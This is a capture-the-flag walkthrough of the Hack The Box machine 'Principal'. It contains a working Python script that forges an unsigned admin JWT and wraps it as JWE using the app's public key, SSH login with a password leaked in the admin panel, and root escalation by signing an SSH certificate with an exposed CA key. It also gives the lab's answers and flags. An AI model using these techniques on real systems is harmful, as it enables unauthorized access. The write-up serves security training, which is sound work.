794 words
4 minutes
Principal Hack The Box Writeup

Hello, we are back with another Hack The Box machine. This time the target is Principal.

After connecting to the VPN and starting the machine, we begin with enumeration.

Nmap#

As usual, the first step is to scan the target:

Terminal window
nmap -sV -sC 10.129.27.225

The scan shows two open TCP ports:

  • 22/tcp running OpenSSH
  • 8080/tcp running a web service with Jetty

The response headers also show:

X-Powered-By: pac4j-jwt/6.0.3

Q1: How many open TCP ports are listening on Principal?

Answer: 2

Q2: What version of pac4j-jwt is in use?

Answer: 6.0.3

Web Enumeration#

When we visit port 8080, we are redirected to /login.

Next, we check the page source to look for JavaScript files and anything interesting.

We find that the main JavaScript file is:

/static/js/app.js

Q3: Which endpoint serves the main JavaScript file for the web application?

Answer: /static/js/app.js

After opening app.js, we find several useful details:

  • Login requests go to /api/auth/login
  • The app fetches a public key from /api/auth/jwks
  • Roles are ROLE_ADMIN, ROLE_MANAGER, and ROLE_USER
  • Tokens are stored in sessionStorage as auth_token

This immediately gives us the answer to the next question.

Q4: What API endpoint holds a public key?

Answer: /api/auth/jwks

Understanding the Bug#

The JavaScript comments explain that the application uses:

  • RS256 for the inner JWT
  • RSA-OAEP-256 and A128GCM for JWE encryption
  • A JWKS endpoint that exposes the public encryption key

When we visit the JWKS endpoint, we receive the RSA public key used by the application.

The machine is vulnerable because we can build our own unsigned JWT with alg: none, give it the ROLE_ADMIN role, and then encrypt it with the public key from /api/auth/jwks. The server accepts the crafted token and lets us access the admin dashboard.

Forging an Admin Token#

I used the following Python script to:

  1. Download the JWKS key
  2. Create a fake JWT for user 0xdf
  3. Set the role to ROLE_ADMIN
  4. Encrypt the token as JWE
import base64
import json
import sys
import requests
from jwcrypto import jwk, jwe
from datetime import datetime, timezone, timedelta
def create_jwt(sub, role):
if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
raise ValueError("Invalid role")
now = datetime.now(timezone.utc)
claims = {
"sub": sub,
"role": role,
"iss": "principal-platform",
"iat": int(now.timestamp()),
"exp": int((now + timedelta(hours=24)).timestamp()),
}
header = {"alg": "none"}
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
header_b64 = b64url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = b64url(json.dumps(claims, separators=(",", ":")).encode())
jwt = f"{header_b64}.{payload_b64}."
print(f"[+] Created plain JWT for {role}: {sub}")
return jwt
if len(sys.argv) < 2:
print(f"usage: {sys.argv[0]} <host> [port]")
sys.exit(1)
host = sys.argv[1]
port = sys.argv[2] if len(sys.argv) > 2 else 8080
resp = requests.get(f"http://{host}:{port}/api/auth/jwks")
jwks = resp.json()
if not jwks.get("keys"):
print("[-] Failed to fetch public keys")
sys.exit(1)
rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])
print(f"[+] Got RSA key: kid={rsa_key.get('kid', 'n/a')}")
jwt = create_jwt(sub="0xdf", role="ROLE_ADMIN")
token = jwe.JWE(
plaintext=jwt.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
print("[+] Forged JWE token:")
print(token.serialize(compact=True))

When the script runs, it prints a forged token:

Then we can store that token in the browser:

sessionStorage.setItem("auth_token", "FORGED_TOKEN_HERE")

After refreshing /dashboard, we are logged in as an admin.

Admin Dashboard#

Now we can access sections that normal users cannot see.

The Users page shows an interesting account:

The important user is:

  • svc-deploy

Its note says it is a service account used for automated deployments through SSH certificate authentication.

The Settings page shows even more useful information:

There we find the plaintext value:

D3pl0y_$$H_Now42!

Q5: Which user can successfully authenticate to SSH using the plaintext password?

Answer: svc-deploy

SSH Access#

We try the password on SSH with the svc-deploy account, and it works:

Inside the home directory, we can read user.txt.

Q6: Submit the flag located in the svc-deploy user’s home directory.

Answer: db59e3fafe76fe12a5ba4aa10fb86996

Privilege Escalation#

After getting a shell, we enumerate the system and check group memberships:

Terminal window
id
find / -type f -group deployers 2>/dev/null

This shows that svc-deploy belongs to the deployers group, and that group can access files related to SSH configuration and the CA under /opt/principal/ssh.

We also inspect the SSH configuration:

The important lines are:

TrustedUserCAKeys /opt/principal/ssh/ca.pub
PermitRootLogin prohibit-password

This means the SSH server trusts certificates signed by the CA key in /opt/principal/ssh/ca. Since our user can read that CA material, we can sign our own public key and make it valid for the root user.

Q7: What directory does the deployers group have read access to?

Answer: /opt/principal/ssh

Root Access with SSH Certificates#

First, create a new SSH key pair:

Terminal window
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""

Then sign the public key with the trusted CA and set the principal to root:

Terminal window
ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root -V +1h /tmp/id_rsa.pub

Finally, use the signed certificate to authenticate as root:

Terminal window
ssh -i /tmp/id_rsa root@localhost

This works because the SSH daemon trusts certificates signed by that CA.

Once connected, we can read the root flag:

Terminal window
cat /root/root.txt

The full attack looks like this:

Terminal window
svc-deploy@principal:~$ ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
svc-deploy@principal:~$ ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root -V +1h /tmp/id_rsa.pub
svc-deploy@principal:~$ ssh -i /tmp/id_rsa root@localhost
root@principal:~# cat /root/root.txt
860b4286bb61be0247453e3172773e46

Q8: Submit the flag located in root’s home directory.

Answer: 860b4286bb61be0247453e3172773e46

Summary#

This machine was very nice because it chained several ideas together:

  • source code review
  • JWT/JWE token abuse
  • admin panel information disclosure
  • SSH access with reused credentials
  • privilege escalation with a trusted SSH CA key

I hope this writeup was clear and useful.